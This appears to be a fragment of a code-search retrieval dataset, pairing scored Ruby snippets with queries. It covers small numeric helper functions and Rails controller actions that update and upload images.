"text": "def equal_to_four(x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end\nend",
"title": ""
},
{
"docid": "8bf2d1b32e303fe855f81ebcd203025c",
"score": "0.4890619",
"text": "def equal_to_four(x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end\nend",
"title": ""
},
{
"docid": "8bf2d1b32e303fe855f81ebcd203025c",
"score": "0.4890619",
"text": "def equal_to_four(x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end\nend",
"title": ""
},
{
"docid": "8bf2d1b32e303fe855f81ebcd203025c",
"score": "0.4890619",
"text": "def equal_to_four(x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end\nend",
"title": ""
},
{
"docid": "8bf2d1b32e303fe855f81ebcd203025c",
"score": "0.4890619",
"text": "def equal_to_four(x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end\nend",
"title": ""
},
{
"docid": "8bf2d1b32e303fe855f81ebcd203025c",
"score": "0.4890619",
"text": "def equal_to_four(x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end\nend",
"title": ""
},
{
"docid": "8bf2d1b32e303fe855f81ebcd203025c",
"score": "0.4890619",
"text": "def equal_to_four(x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end\nend",
"title": ""
},
{
"docid": "8bf2d1b32e303fe855f81ebcd203025c",
"score": "0.4890619",
"text": "def equal_to_four(x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end\nend",
"title": ""
},
{
"docid": "798abd03e394a9bfe375b9f4d93d2c58",
"score": "0.4886847",
"text": "def max_of_four(num1, num2, num3, num4)\n largest = 0\n if num1 > num2\n largest = num1\n else\n largest = num2\n end\n if largest > num3 && largest > num4\n return largest\n elsif num3 > largest\n largest = num3\n end\n return largest if largest > num4\n return num4\nend",
"title": ""
},
{
"docid": "3ef5cc050270eb627e9c5042269c3ba7",
"score": "0.4884613",
"text": "def count(x_or_o)\n count = 0\n @board.each do |piece|\n piece == x_or_o && count += 1\n end\n count\n end",
"title": ""
},
{
"docid": "2b08892bd4731ddb306e26e95c9e4f98",
"score": "0.48837996",
"text": "def sum3(x, y, z)\n x + y + z\nend",
"title": ""
},
{
"docid": "d02603848d786748e521bfef5817f131",
"score": "0.48821533",
"text": "def max_of_three num1, num2, num3\n\tif num1 > num2 && num1 > num3\n\t\treturn num1\n\telsif num2 > num1 && num2 > num3\n\t\treturn num2\n\telsif num3 > num1 && num3 > num2\n\t\treturn num3\n\tend\n\nend",
"title": ""
},
{
"docid": "fad1fe3d8bc6db1e5bc48953810b7541",
"score": "0.48768362",
"text": "def equal_to_four(x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end\nend",
"title": ""
},
{
"docid": "87acede1f2a4d70f29df97f0b3bb1215",
"score": "0.4868832",
"text": "def equal_to_four (x)\n if x == 4\n puts \"yup\"\n else\n puts \"nope\"\n end\nend",
"title": ""
},
{
"docid": "5e32fdddaba552efe6ca7cf4d19dad51",
"score": "0.48519668",
"text": "def max_of_three(num1, num2, num3)\n output = 0\n if num1 > num2 and num1 > num3\n output = num1\n elsif num2 > num3 and num2 > num1\n output = num2\n else\n output = num3\n end\n return output\nend",
"title": ""
},
{
"docid": "43bbcd4f6b62eaddfc10ead0df87edb2",
"score": "0.48481044",
"text": "def either_2_4(list)\n count_2 = 0\n count_4 = 0\n list.size.times do |n|\n if list[n] == 2 && list[n+1] == 2\n count_2 += 1\n end \n if list[n] == 4 && list[n+1] == 4\n count_4 += 1\n end\n end \n if (count_2 > 0) ^ (count_4 > 0)\n return true\n else\n return false\n end \n\nend",
"title": ""
},
{
"docid": "966d29a75e46624ef0d7d2f928806dd6",
"score": "0.48435766",
"text": "def fourth\n at(3)\n end",
"title": ""
},
{
"docid": "73ee323ccfe92c91eabde03f08ca5b25",
"score": "0.48322296",
"text": "def min_of_three(num1, num2, num3)\n if num1 < num2 and num1 < num3\n return num1\n end\n if num2 < num1 and num2 < num3\n return num2\n end\n return num3\nend",
"title": ""
},
{
"docid": "a1ea73d4e2bfae956f7221cc6dc3e317",
"score": "0.4830534",
"text": "def magic_number?(n)\r\n \r\nend",
"title": ""
},
{
"docid": "5f525400b2da7f25bd77c9541f5dd2d9",
"score": "0.4830053",
"text": "def max_of_three num1, num2,num3\n if num1>num2 && num1> num3\n num1\n elsif num2>num1 && num2>num3\n num2\n end\n num3\nend",
"title": ""
},
{
"docid": "2ff58da33e2c1ac7069a0f234c2cc2a2",
"score": "0.4822582",
"text": "def four_of_a_kind(hand)\n\t\thand_num = check_num(hand)\n\t\ti = 0\n\t\twhile i < hand_num.size\n\t\t\tif hand_num.count(hand_num[i]) == 4\n\t\t\t\treturn 7\n\t\t\tend\n\t\t\ti += 1\n\t\tend\n\t\treturn 0\n\tend",
"title": ""
},
{
"docid": "e346d4f4331e1d791c68d444e1168b51",
"score": "0.48216608",
"text": "def getStepCount(input1,input2,input3,input4)\n\tways = possible_moves(input1,input2,input3,input4)\n\tfound = true\n\tcount = 1\n\n\twhile found do\n\t temp = []\n\t\tways.each do |way|\n\t\t\tmoves = possible_moves(way.first,way.last,input3,input4)\n\t\t\tif moves.include?([input3,input4])\n\t\t\t\tfound = false\n\t\t\tend\n\t\t\tmoves.each {|arr| temp.push(arr) }\n\t\tend\n\t\tcount += 1\n\t\tways = temp\n\tend\n\tcount\nend",
"title": ""
},
{
"docid": "79ed615b816ffb58bca21423fd2b66f8",
"score": "0.4805423",
"text": "def avg_3(x, y, z)\nend",
"title": ""
},
{
"docid": "cd4eab79f73c0c1b7ef3eed7c62e0064",
"score": "0.48027468",
"text": "def min_of_three(num1, num2, num3)\n if num1 < num2 && num1 < num3\n return num1\n elsif num2 < num1 && num2 < num3\n return num2\n else\n return numm3\n end\nend",
"title": ""
},
{
"docid": "fe2fd6f2d94ab681bf530adf118d8196",
"score": "0.47996557",
"text": "def min_of_three(n1, n2, n3)\n output =\"\"\n if n1 < n2\n output = n1\n else\n output =n2\n end\n if output < n3\n return output\n else \n return n3\n end\nend",
"title": ""
},
{
"docid": "75b37d55bf550450975646fe775b4a0a",
"score": "0.47991723",
"text": "def magic_numbers(count)\nend",
"title": ""
},
{
"docid": "407de925b2e37b17deb775155d934d23",
"score": "0.47817248",
"text": "def sum_numbers(x, y, z)\n\tx + y + z\nend",
"title": ""
},
{
"docid": "da418e0fc3abdb1ac0d55b83beda1080",
"score": "0.47807956",
"text": "def valid?\n n >= 3\n end",
"title": ""
},
{
"docid": "54d8300986b95420bec31b73eb9adfa9",
"score": "0.47763664",
"text": "def z\n return @z\n end",
"title": ""
},
{
"docid": "05947964b73860ff6262957ac92fb23e",
"score": "0.47710663",
"text": "def four_of_a_kind?\n high_single_card = -1\n four_card = -1\n (12).downto(0) do |i|\n if @ranks[i] > 0 && @ranks[i] != 4 && high_single_card == -1\n high_single_card = i\n end\n if @ranks[i] == 4\n four_card = i\n end\n end\n if four_card != -1\n return [8, four_card, high_single_card, -1, -1, -1]\n end\n return false\n end",
"title": ""
},
{
"docid": "8d590246d5b54cbe373ff5f371062396",
"score": "0.47650298",
"text": "def get_four_of_kind_value\n\t\t@duplicate_cards.key(4)\n\tend",
"title": ""
},
{
"docid": "a28c9689f93d2ff77a29656cce4ce921",
"score": "0.47638652",
"text": "def ground(x, z, options = {})\n max = 126\n min = 0\n mid = nil\n\n tries = 0\n while max >= min && (tries += 1) < 256\n mid = min + (max - min) / 2\n\n air = not_land?(x, mid - @center[1], z, options)\n airDown = not_land?(x, mid - 1 - @center[1], z, options)\n\n if air && !airDown\n return mid - @center[1]\n end\n\n # [126, 50, 88]\n # 38\n\n if air\n max = mid\n else\n min = mid\n end\n end\n\n return mid\n end",
"title": ""
},
{
"docid": "b4456ea4a5cea085e1aa125b4dfce5a4",
"score": "0.4763059",
"text": "def minofthree(num1, num2, num3)\n if num1 < num2\n if num1 < num3\n return num1\n else\n return num3\n end\n else\n if num2 < num3\n return num2\n else\n return num3\n end\n end\nend",
"title": ""
},
{
"docid": "86d7272916cad45a28ea8e23e2164a8a",
"score": "0.47587505",
"text": "def try_make_int(input)\n return input if input.is_a?(Integer)\n return input[:A] == 0 && input[:B] == 0 ? input[:C] : input\nend",
"title": ""
},
{
"docid": "116e68602a9c50ff85a7ac9e08ec9732",
"score": "0.47520378",
"text": "def length\n Math.sqrt(@x * @x + @y * @y + @z * @z)\n end",
"title": ""
},
{
"docid": "edcf052894a6637669e5bd836ca19bd9",
"score": "0.47506765",
"text": "def max_of_three n1, n2, n3\n [n1, n2, n3].max\nend",
"title": ""
},
{
"docid": "c4e8cbb798608784ceb34b57982f0b59",
"score": "0.47419804",
"text": "def cubez(num)\n return num * num * num, 70\n 5\nend",
"title": ""
},
{
"docid": "58b0fee96aa3cedd166cd4613ceb93b2",
"score": "0.47409406",
"text": "def min_of_three(num1, num2, num3)\n if num1 < num2\n if num1 < num3\n return num1\n end\n else\n if num2 < num3\n return num2\n end\n end\n return num3\nend",
"title": ""
},
{
"docid": "37f6df83587a9df30e2978530c2241c2",
"score": "0.47387433",
"text": "def countUnknown _obj, _args\n \"_obj countUnknown _args;\" \n end",
"title": ""
},
{
"docid": "5e729af2e15a54e2a01d9794466e097f",
"score": "0.47353643",
"text": "def max_of_three(num1,num2,num3)\n return num1 if num1 > num2 && num1 > num3\n return num2 if num2 > num1 && num1 > num3 \n return num3\nend",
"title": ""
},
{
"docid": "987c921745ef43d5b970f76837f2afa4",
"score": "0.4733526",
"text": "def getMax4nb(nb1, nb2, nb3, nb4)\n return max2nbV2(max2nbV2(nb1, nb2), max2nbV2(nb3, nb4))\nend",
"title": ""
},
{
"docid": "07206865ee29f4aa955305e13a75abe4",
"score": "0.47312787",
"text": "def get_valid_digit_count\n return {\n 1 => 1,\n 2 => 1,\n 3 => 1,\n 4 => 1,\n 5 => 1,\n 6 => 1,\n 7 => 1,\n 8 => 1,\n 9 => 1,\n }\nend",
"title": ""
},
{
"docid": "02adaf15b180eb758a5abe529264e247",
"score": "0.47307822",
"text": "def minoffour(num1, num2, num3, num4)\n if num1 > num2\n i = num2\n else \n i = num1\n end\n if num3 < i \n i = num3\n end\n if num4 < i\n i = num4\n end\n return i\nend",
"title": ""
}
] |
a505702de17b4f87d3ea3a6b6cbd7c22 | PUT /imageuploads/1 PUT /imageuploads/1.json | [
{
"docid": "ce9e2c7caa06059e9f2908a206680201",
"score": "0.6191231",
"text": "def update\n @imageupload = Imageupload.find(params[:id])\n\n respond_to do |format|\n if @imageupload.update_attributes(params[:imageupload])\n format.html { redirect_to @imageupload, notice: 'Imageupload was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @imageupload.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "1672475d7ba8467055df2694ed66ed78",
"score": "0.72733516",
"text": "def update\n render json: Image.update(params[\"id\"], params[\"image\"])\n end",
"title": ""
},
{
"docid": "457f589782dd14d0823d6e5557b2563d",
"score": "0.6711013",
"text": "def upload_image_file(args = {}) \n post(\"/files.json/captiveportal/images\", args)\nend",
"title": ""
},
{
"docid": "f8cef3a996ee5942d102e93b3d09d42b",
"score": "0.66552913",
"text": "def update_image\n image = Image.find(params[:id])\n image.update_attributes(params[:image])\n render :json => image.attributes.merge(additional_image_attributes(image))\n end",
"title": ""
},
{
"docid": "309843608cd5b5fecd2ae9de0fb15803",
"score": "0.66278446",
"text": "def update\n respond_to do |format|\n if @image.update_attributes(image_params)\n format.html do\n redirect_to [@location,@image], notice: 'Image was successfully updated.'\n end\n # format.json { head :no_content }\n format.json do\n render json: { files: [@image.to_jq_upload] },\n status: :created, location: @image\n end\n else\n format.html { render action: 'edit' }\n format.json do\n render json: @image.errors,\n status: :unprocessable_entity\n end\n end\n end\n end",
"title": ""
},
{
"docid": "8863e4304d754da737debe43cb8a06d7",
"score": "0.65919524",
"text": "def update\n @image = Image.find(params[:id])\n @image.update(update_params)\n @image.upload = params[:file]\n @image.save!\n from_model @image\n ImageJob.perform_later @image\n render json: @image\n end",
"title": ""
},
{
"docid": "4fe904a5a40baa699176775ef4895dd6",
"score": "0.6558496",
"text": "def upload_image\n delete_image() unless @collection.image.nil?\n\n @image = @collection.build_image(collection_image_params)\n\n if @image.save\n render json: @collection, status: :ok#, location: @collection\n else\n render json: @image.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "db67514f0b1a43ec77213d4a1b60ad58",
"score": "0.6485091",
"text": "def update\n @foto = Foto.find(params[:id])\n\n respond_to do |format|\n if @foto.update_attributes(params[:foto])\n format.html {\n render :json => [@foto.to_jq_upload].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json { render json: {files: [@foto.to_jq_upload]}, status: :created, location: [@gallery, @foto] }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @foto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8ddea3acec67ea6a9ecc1d75983da8cf",
"score": "0.6432965",
"text": "def upload_image\n delete_image() unless @slide.image.nil?\n\n @image = @slide.build_image(slide_image_params)\n\n if @image.save\n render json: @slide, status: :ok#, location: @collection\n else\n render json: @image.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "f0e52d95360d139769123b1b10d1fe61",
"score": "0.6429849",
"text": "def upload_image\n respond_to do |format|\n if params[:poi]['file'] != nil\n poi_id = params[:poi]['poi_id']\n path_name = \"#{Rails.root}/public/images/#{poi_id}_images/\"\n\n FileUtils.mkdir_p(path_name) if !File.exist?(path_name)\n Poi.super_with_name(params[:poi], \"_poi_\", path_name)\n\n format.html { redirect_to show_images_path(poi_id), notice: ' Image was successfully added.' }\n format.json { head :no_content }\n else\n update\n end\n end\n end",
"title": ""
},
{
"docid": "0d2f8e7d2d156b0f33d3f05cb14474fe",
"score": "0.64039207",
"text": "def update\n authorize @thing, :update_image?\n if @thing_image.update(thing_image_update_params)\n head :no_content\n else\n render json: @thing_image.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "dd38ec2b448fc01e27a276005273287f",
"score": "0.63797826",
"text": "def upload_floor_plan(args = {}) \n post(\"/files.json/floorplan/images\", args)\nend",
"title": ""
},
{
"docid": "e0f967c7e836b7aaf73a856303500d0c",
"score": "0.6358715",
"text": "def update\n @image = set_image\n if @image.update(image_params)\n #format.html { redirect_to @image, notice: \"Image was successfully updated.\" }\n render json:@image, status: :ok\n else\n #format.html { render :edit, status: :unprocessable_entity }\n render json: { error: @images.errors.messages }\n \n end\n end",
"title": ""
},
{
"docid": "49498dab3de671ee3da1a041f1e5341b",
"score": "0.63486665",
"text": "def update\n @image = Image.find(params[:id])\n @image.update_attributes(params[:image])\n respond_with(@image, :status => :updated)\n end",
"title": ""
},
{
"docid": "bfab9ede8aa095c2c364de1cab217b0e",
"score": "0.63311243",
"text": "def update\n\t\tset_object(params[:id], params[:image], params[:features])\n\tend",
"title": ""
},
{
"docid": "a401d4c9a0ee41c2dc078f594245d3a8",
"score": "0.6310781",
"text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.json { render action: 'show', status: :ok, location: @image }\n else\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "87b80f4a07d8976177263e04df8cdb37",
"score": "0.63033634",
"text": "def update\n\n\n @advert_image = AdvertImage.find(params[:id])\n # binding.pry\n if params[:image].present?\n @advert_image.image = params[:image]\n @advert_image.save\n end\n\n render :json => @advert_image, :status => 201\n end",
"title": ""
},
{
"docid": "08928a8dcb9d3bc993fd21219d4e79a0",
"score": "0.62849987",
"text": "def update\n respond_to do |format|\n # spot = HTTParty.get(\"http://localhost:3000/spots/#{params[:id]}\" )\n if @spot.update(spot_params)\n HTTParty.patch(\"http://localhost:3000/spots/#{params[:id]}?name=#{spot_params[:name]}&lat=#{spot_params[:lat]}&lon=#{spot_params[:lon]}&description=#{spot_params[:description]}&features=#{spot_params[:features]}&spot_type=#{spot_params[:spot_type]}&img=#{spot_params[:img]}\")\n @spot.spot_photos.attach(params[:spot][:spot_photos])\n format.html { redirect_to @spot, notice: 'Spot was successfully updated.' }\n format.json { render :show, status: :ok, location: @spot }\n else\n format.html { render :edit }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "eb77f8e2e0fac03887a44cf9e2aab36f",
"score": "0.6284098",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params.require(:image).permit(:title, :description, :portfolio_id, :image))\n format.html { redirect_to @image, notice: 'Upload was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "72b8c60b3081d9b23791df957c7d5433",
"score": "0.62614733",
"text": "def upload\n image_file = ImageFile.new(params)\n @image = @product.images.build({ extension: image_file.extension })\n\n unless @image.save\n render json: @image.errors, status: :unprocessable_entity; return\n end\n\n image_file.name = @image._id\n image_processor = ProductImageProcessor.new(collection_id, product_id, image_file)\n\n if image_processor.save_image\n render json: @product, status: :ok#, location: @collection\n else\n render json: image_processor.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "87848002e4b5c8da4a69098e7129dd62",
"score": "0.62607735",
"text": "def upload_image\n uploader = ImageUploader.new\n\n respond_to do |format|\n uploader.store!(params[:file])\n\n format.json { render json: { status: 1, url: image_url(uploader.url) } }\n end\n end",
"title": ""
},
{
"docid": "c2f7314be4b00844da67ba14cf9d2275",
"score": "0.6236922",
"text": "def update\n \n # find the image with params[:id]\n @image = Image.find(params[:id])\n \n #set the user_id of image with current user id\n @image.user_id = current_user.id\n \n respond_to do |format|\n \n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n \n end\n \n end",
"title": ""
},
{
"docid": "fb4e7391f0d8fe1a039af03196077540",
"score": "0.6222306",
"text": "def update\n\n s3 = AWS::S3.new\n bucket = s3.buckets[AWS_CONFIG['aws_bucket']]\n\n # handle whitelabel image et. al.\n [:whitelabel_icon, :header_image, :footer_image, :watermark_image, :company_logo].each do |file_handle|\n\n if params[:company][file_handle] && params[:company][file_handle] == '' # delete the image\n\n params[:company][(file_handle.to_s+\"_url\").to_sym] = nil\n\n # remove image from S3\n begin\n url = @company.send(file_handle.to_s+\"_url\")\n uri = URI.parse(url)\n puts bucket.objects[File.basename(uri.path)].delete\n rescue => e\n Rails.logger.info \"error removing client image from S3!: #{e.to_s}\"\n end\n\n elsif params[:company][file_handle]\n\n image = params[:company][file_handle]\n\n if image.content_type == \"image/jpeg\"\n ext = \"jpg\"\n elsif image.content_type == \"image/png\"\n ext = \"png\"\n elsif image.content_type == \"video/mp4\"\n ext = \"mp4\"\n end\n new_file_name = \"#{Rails.env}/#{file_handle.to_s}-#{@company.id}.#{ext}\"\n\n bucket.objects[new_file_name].write(image.read, {:acl => :public_read, :cache_control => 'max-age=315569000', :content_type => image.content_type})\n s3url = \"http://#{AWS_CONFIG['aws_bucket_url']}/#{new_file_name}\"\n params[:company][(file_handle.to_s+\"_url\").to_sym] = s3url\n end\n\n end\n\n respond_to do |format|\n if @company.update(company_params)\n @company.users.each do |user|\n user.update_attribute(:plan_id, @company.default_plan_id)\n end\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c9ed8654eddf4650cfc4a6dfbc9ca688",
"score": "0.6200396",
"text": "def update\n respond_to do |format|\n if @album.update(album_params)\n images = params[:album][:images]\n if images.present?\n images.each do |image|\n @album.images.create(:image => image, :user_id => current_user.id)\n end\n end\n format.html { redirect_to admin_company_album_url(@company, @album), notice: 'Album was successfully updated.' }\n format.json { render :show, status: :ok, location: @album }\n else\n format.html { render :back }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f2042de11d1b001e09d31c0c0d9279e5",
"score": "0.6197531",
"text": "def update\n @control_point = ControlPoint.find(params[:id])\n\n if params[:control_point][:image].present?\n uploaded_io = params[:control_point][:image]\n file_path_name = UUIDTools::UUID.random_create.to_s.delete '-'\n just_filename = File.basename(uploaded_io.original_filename)\n file_path_name += just_filename.sub(/[^\\w\\.\\-]/, '_')\n File.open(Rails.root.join('public', 'uploads1', file_path_name), 'w+b') do |file|\n file.write(uploaded_io.read)\n end\n params[:control_point][:image] = ApplicationHelper.get_root_url + 'uploads1/' + file_path_name\n end\n\n\n\n\n\n respond_to do |format|\n if @control_point.update_attributes(control_point_params)\n format.html { redirect_to \"/control_points\", notice: 'Control point was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @control_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aaa6914a01c2c177c8cd7ccfe93cf78f",
"score": "0.6194957",
"text": "def update\n respond_to do |format|\n\n # upload file first\n filepath = uploadFile(current_user, @image.case_log)\n print filepath\n\n if(filepath != nil)\n @image[:url] = filepath\n end\n\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ba6d1f5674ab3491d5da63ba33fead69",
"score": "0.6171509",
"text": "def update\n @item = Item.find(params[:id])\n #if params[:item][:picture]\n # uploaded_io = params[:item][:picture]\n # File.open(Rails.root.join('public', 'uploads/', \"#{params[:id]}.png\"), 'wb') do |file|\n # file.write(uploaded_io.read)\n # end\n # params[:item][:picture] = \"/uploads/#{@item.id}.png\"\n #end\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0924f2d045fa84149d3348349029e877",
"score": "0.6159084",
"text": "def update_image\n data = JSON.parse(params[:image]) \n image = Image.find(data[\"id\"])\n image.official_site_image = data[\"official_site_image\"].to_bool\n image.save\n render json: {success:true}.as_json\n end",
"title": ""
},
{
"docid": "54b1ac43c040b28898717fb596991c4a",
"score": "0.61565316",
"text": "def update\n @tl_image = TlImage.find(params[:id])\n @tl_image.fname = params[:tl_image][:fname].original_filename\n upload\n\n respond_to do |format|\n if @tl_image.update_attributes(params[:tl_image])\n format.html { redirect_to @tl_image, notice: 'Tl image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tl_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "eed297f179f3ed263ab1417f325a562d",
"score": "0.6146873",
"text": "def update\n @sub.build_image(params['image']) do |t|\n if params['sub']['image']['data']\n t.data = Base64.encode64(params['sub']['image']['data'].read)\n t.filename = params['sub']['image']['data'].original_filename\n t.mime_type = params['sub']['image']['data'].content_type\n end\n end \n @sub.name = @sub.name.capitalize\n respond_to do |format|\n if @sub.update(sub_params)\n format.html { redirect_to @sub, notice: 'Sub was successfully updated.' }\n format.json { render :show, status: :ok, location: @sub }\n else\n format.html { render :edit }\n format.json { render json: @sub.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b3cac33deccc7b5be5bd91b03e572c42",
"score": "0.61392176",
"text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { render json: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6feaaa326437240edb49d80e9a2e4eb9",
"score": "0.6137079",
"text": "def update\n @vision = Vision.find(params[:id])\n\n if !params[:vision][:image1].nil?\n imageName = params[:vision][:image1].original_filename.gsub(/\\s/,'_') \n tmp = params[:vision][:image1].tempfile\n file = File.join(\"app/assets/images/vision_pics\", imageName)\n FileUtils.cp tmp.path, file\n FileUtils.rm tmp\n params[:vision][:image1] = \"vision_pics/#{imageName}\"\n end\n\n if !params[:vision][:image2].nil?\n imageName = params[:vision][:image2].original_filename.gsub(/\\s/,'_') \n tmp = params[:vision][:image2].tempfile\n file = File.join(\"app/assets/images/vision_pics\", imageName)\n FileUtils.cp tmp.path, file\n FileUtils.rm tmp\n params[:vision][:image2] = \"vision_pics/#{imageName}\"\n end\n\n if !params[:vision][:image3].nil?\n imageName = params[:vision][:image3].original_filename.gsub(/\\s/,'_') \n tmp = params[:vision][:image3].tempfile\n file = File.join(\"app/assets/images/vision_pics\", imageName)\n FileUtils.cp tmp.path, file\n FileUtils.rm tmp\n params[:vision][:image3] = \"vision_pics/#{imageName}\"\n end\n\n if !params[:vision][:video].nil?\n videoName = params[:vision][:video].original_filename.gsub(/\\s/,'_') \n tmp = params[:vision][:video].tempfile\n file = File.join(\"public/visionvideos\", videoName)\n FileUtils.cp tmp.path, file\n FileUtils.rm tmp\n params[:vision][:video] = \"/visionvideos/#{videoName}\"\n end\n\n respond_to do |format|\n if @vision.update_attributes(params[:vision])\n format.html { redirect_to @vision, notice: 'Vision was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vision.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9ea045960df2908e5675713da4b34a3c",
"score": "0.61355025",
"text": "def update\n respond_to do |format|\n if @image.update_image(params[:image])\n format.html { redirect_to @image, :notice => 'Image was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render 'edit' }\n format.json { render :json => @image.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7cf990d4f749b0053bc7424af75db493",
"score": "0.61329114",
"text": "def create\n img_id = request.headers['imageid']\n image = Image.where(image_id: img_id).first\n json_body = JSON.parse(request.body.read)\n if image != nil\n if ((json_body['local_uri'] != nil) && (json_body['local_uri'].length > 0))\n image.local_uri = json_body['local_uri']\n end\n if (json_body['title'] != nil)\n image.title = json_body['title']\n end\n image.save\n begin\n if Resque.info[:pending] <= 5\n Resque.enqueue(Uploader, img_id)\n else\n Uploader.perform(img_id)\n end\n rescue\n Uploader.perform(img_id)\n end\n msg = { :result => Constants::RESULT_OK}\n else\n msg = { :result => Constants::RESULT_ERROR, :code => Constants::ERROR_NOT_FOUND, :message => Constants::MSG_NOT_FOUND }\n end\n respond_to do |format|\n format.json { render :json => msg }\n end\nend",
"title": ""
},
{
"docid": "483ab2f56afa0144c418b1b08e84b83b",
"score": "0.6127743",
"text": "def update_images\n\t\trespond_to do |format|\n\t\tif @image.update(:image, \"damaged\")\n\t\t\tformat.html {redirect_to @image, notice: \"Image was successfully updated\"}\n\t\t\tformat.json{render :show, status: :ok, location: @image}\n\t\telse\n\t\t\tformat.html {render :edit}\n\t\t\tformat.json{ render json: @image.errors, status: :unprocessable_entity}\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "d025213e83e4bce8025c738ce734ac17",
"score": "0.6127699",
"text": "def upload id\n get_request \"uploads/#{id}\"\n end",
"title": ""
},
{
"docid": "ae4d0aa8335fe571a4fcc90ded621164",
"score": "0.6127035",
"text": "def do_update_Json(data, *rest)\n obj, res = REST.put(\"#{self.class.path}/#{id}\",data)\n maybe_json_die(obj,res)\n @blob = obj\n self\n end",
"title": ""
},
{
"docid": "ae4d0aa8335fe571a4fcc90ded621164",
"score": "0.6127035",
"text": "def do_update_Json(data, *rest)\n obj, res = REST.put(\"#{self.class.path}/#{id}\",data)\n maybe_json_die(obj,res)\n @blob = obj\n self\n end",
"title": ""
},
{
"docid": "b0b0438400f751cab486b51c93d9ae81",
"score": "0.61259806",
"text": "def update\n par = params\n\n @image = Image.editable_by(current_user).find_by_guid(params[:guid])\n\n # set these variables back to nil if they were in the request but blank\n if par[:ref]\n @image.ref = par[:ref].blank? ? nil : par[:ref]\n end\n if par[:name]\n @image.name = par[:name].blank? ? nil : par[:name]\n end\n if par[:page_url]\n @image.page_url = par[:page_url].blank? ? nil : par[:page_url]\n end\n @image.private = par[:private] if par[:private]\n\n if !par[:calibrateLength].blank?\n @image.calibrate_length = par[:calibrateLength].to_f\n @image.calibrate_unit = par[:calibrateUnit].to_i if !par[:calibrateUnit].blank?\n @image.calibrate_coords = par[:calibrateCoords] if !par[:calibrateCoords].blank?\n @image.ppi = calculate_ppi(@image)\n end\n\n orig_url = par[:originalUrl]\n if !orig_url.blank? && orig_url != @image.original_url\n # url was updated\n @image.remote_upload_url = orig_url\n @image.original_url = orig_url\n end\n\n if @image.save\n render :json => @image.js_serialize\n else\n #TODO: handle error\n render :json => { :error => 500 }, :status => 500\n end\n end",
"title": ""
},
{
"docid": "dec02bb3d849e4dcb47dea306e7b970c",
"score": "0.61166453",
"text": "def update\n respond_to do |format|\n if @image_upload.update(image_upload_params)\n format.html { redirect_to @image_upload, notice: 'Image upload was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image_upload.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c2ae954acef06d2e0b1270d3f5dafc42",
"score": "0.61082363",
"text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
